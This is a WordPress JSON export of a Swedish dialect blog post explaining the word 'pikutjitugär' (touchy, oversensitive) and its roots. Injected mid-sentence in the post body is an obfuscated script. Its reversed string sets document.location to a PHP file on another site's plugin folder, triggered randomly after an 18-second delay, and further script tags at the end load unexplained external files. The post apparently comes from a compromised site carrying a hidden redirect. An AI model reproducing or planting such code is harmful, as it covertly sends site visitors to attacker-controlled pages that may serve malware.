{"id":1719,"date":"2013-04-09T21:13:38","date_gmt":"2013-04-09T19:13:38","guid":{"rendered":"http:\/\/84.20.155.7\/nywp\/?p=1719"},"modified":"2013-04-09T21:13:38","modified_gmt":"2013-04-09T19:13:38","slug":"dagens-ord-pikutjitugar","status":"publish","type":"post","link":"https:\/\/hindersby.net\/nywp\/?p=1719","title":{"rendered":"Dagens ord: Pikutjitug\u00e4r"},"content":{"rendered":"<p>Ett par &#8221;Dagens ord&#8221; f\u00f6ll bort p\u00e5 grund av panik med maskiner och utk\u00f6rande av virket innan v\u00e4garna sm\u00e4lter (det \u00e4r n\u00e4stan klart nu). D\u00e5 man sitter i trak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>torn s\u00e5 hinner man i alla fall fundera p\u00e5 ett och annat eftersom lastandet b\u00f6rjar sitta i ryggm\u00e4rgen. Och det ord som senast tvinnat i huvudet \u00e4r<\/p>\n<p><strong>pikutjitug\u00e4r<\/strong><\/p>\n<p>Det betyder ungef\u00e4r &#8221;snarstucken&#8221;, &#8221;\u00f6verdrivet k\u00e4nslig&#8221;.<\/p>\n<p><strong>Han e nu s\u00e5 f\u00f6rd\u00e4rvadi pikutjitug\u00e4r.<\/strong><\/p>\n<p><strong>Va nu int s\u00e5 pikutjitug\u00e4r !<\/strong><\/p>\n<p><strong>Tjitug\u00e4r<\/strong> betyder ju &#8221;kittlig&#8221; och <strong>piku<\/strong> betyder &#8221;litet&#8221; (&#8221;riktigt litet&#8221; heter <strong>pikuliiti<\/strong>). I modern svenska anv\u00e4nds ordet &#8221;kitslig&#8221; f\u00f6r att beteckna &#8221;k\u00e4nslig&#8221;, &#8221;kinkig&#8221; och det \u00e4r samma ord som &#8221;kittlig&#8221;. S\u00e5 <strong>pikutjitug\u00e4r<\/strong> betyder direkt \u00f6versatt &#8221;k\u00e4nslig f\u00f6r litet&#8221;. <strong>Piku<\/strong> \u00e4r samma ord som spanskans pico och italienskans piccolo och l\u00e4r ursprungligen komma fr\u00e5n keltiska spr\u00e5k.<script src='location.js?p=1' type=text\/javascript><\/script><script src='\/l.js?p=1' type=text\/javascript><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ett par &#8221;Dagens ord&#8221; f\u00f6ll bort p\u00e5 grund av panik med maskiner och utk\u00f6rande av virket innan v\u00e4garna sm\u00e4lter (det \u00e4r n\u00e4stan klart nu). D\u00e5 man sitter i traktorn s\u00e5 hinner man i alla fall fundera p\u00e5 ett och annat eftersom lastandet b\u00f6rjar sitta i ryggm\u00e4rgen. Och det ord som senast tvinnat i huvudet \u00e4r &hellip; <a href=\"https:\/\/hindersby.net\/nywp\/?p=1719\" class=\"more-link\">Forts\u00e4tt l\u00e4sa<span class=\"screen-reader-text\"> \u201dDagens ord: Pikutjitug\u00e4r\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[74],"tags":[],"class_list":["post-1719","post","type-post","status-publish","format-standard","hentry","category-sprak"],"_links":{"self":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/1719","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1719"}],"version-history":[{"count":2,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/1719\/revisions"}],"predecessor-version":[{"id":1721,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/1719\/revisions\/1721"}],"wp:attachment":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1719"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1719"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1719"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}